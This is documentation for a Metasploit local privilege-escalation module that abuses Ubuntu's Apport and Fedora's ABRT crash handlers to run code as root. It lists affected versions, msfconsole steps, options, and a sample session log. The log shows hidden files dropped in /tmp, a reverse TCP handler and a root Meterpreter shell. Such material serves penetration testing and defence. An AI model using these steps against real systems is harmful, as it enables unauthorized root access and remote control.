## Description

  This module attempts to gain root privileges on Ubuntu and Fedora systems by invoking the default coredump handler inside a namespace ("container").


## Vulnerable Application

  Apport versions 2.13 through 2.17.x before 2.17.1 on Ubuntu are vulnerable, due to a feature which allows forwarding reports to a container's Apport by changing the root directory before loading the crash report, causing `usr/share/apport/apport` within the crashed task's directory to be executed.

  Similarly, Fedora is vulnerable when the kernel crash handler is configured to change root directory before executing ABRT, causing `usr/libexec/abrt-hook-ccpp` within the crashed task's directory to be executed. Fedora's crash handler was reportedly configured to chroot ABRT by default between April and August 2014.

  In both instances, the crash handler does not drop privileges, resulting in code execution as root.

  This module has been tested successfully on:

  * Apport 2.14.1 on Ubuntu 14.04.1 LTS x86 and x86_64
  * ABRT on Fedora 19 and 20 x86_64

  To test Fedora 20, disable SELinux, reboot, and modify `/proc/sys/kernel/core_pattern` to make use of the vulnerable `core_pattern` : `|/usr/sbin/chroot /proc/%P/root /usr/libexec/abrt-hook-ccpp %s %c %p %u %g %t e`


## Verification Steps

  1. Start `msfconsole`
  2. Get a session
  3. Do: `use exploit/linux/local/apport_abrt_chroot_priv_esc`
  4. Do: `set SESSION [SESSION]`
  5. Do: `check`
  6. Do: `run`
  7. You should get a new root session


## Options

### SESSION

  Which session to use, which can be viewed with `sessions`

### WritableDir

  A writable directory file system path. (default: `/tmp`)


## Scenarios

  ```
  msf > use exploit/linux/local/apport_abrt_chroot_priv_esc
  msf exploit(linux/local/apport_abrt_chroot_priv_esc) > set session 1
  session => 1
  msf exploit(linux/local/apport_abrt_chroot_priv_esc) > run

  [!] SESSION may not be compatible with this module.
  [*] Started reverse TCP handler on 172.16.191.244:4444 
  [*] Writing '/tmp/.drY6cJZ' (887316 bytes) ...
  [*] Writing '/tmp/.LtJvrgjXq' (207 bytes) ...
  [*] Launching exploit...
  [+] Upgraded session to root privileges ('uid=0(root) gid=1000(user) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare),1000(user)')
  [*] Sending stage (857352 bytes) to 172.16.191.252
  [*] Meterpreter session 2 opened (172.16.191.244:4444 -> 172.16.191.252:35552) at 2018-01-11 09:58:25 -0500
  [+] Deleted /tmp/.drY6cJZ
  [+] Deleted /tmp/.LtJvrgjXq

  meterpreter > getuid
  Server username: uid=0, gid=1000, euid=0, egid=1000
  meterpreter > sysinfo
  Computer     : 172.16.191.252
  OS           : Ubuntu 14.04 (Linux 3.13.0-32-generic)
  Architecture : x64
  BuildTuple   : i486-linux-musl
  Meterpreter  : x86/linux
  meterpreter > 
  ```

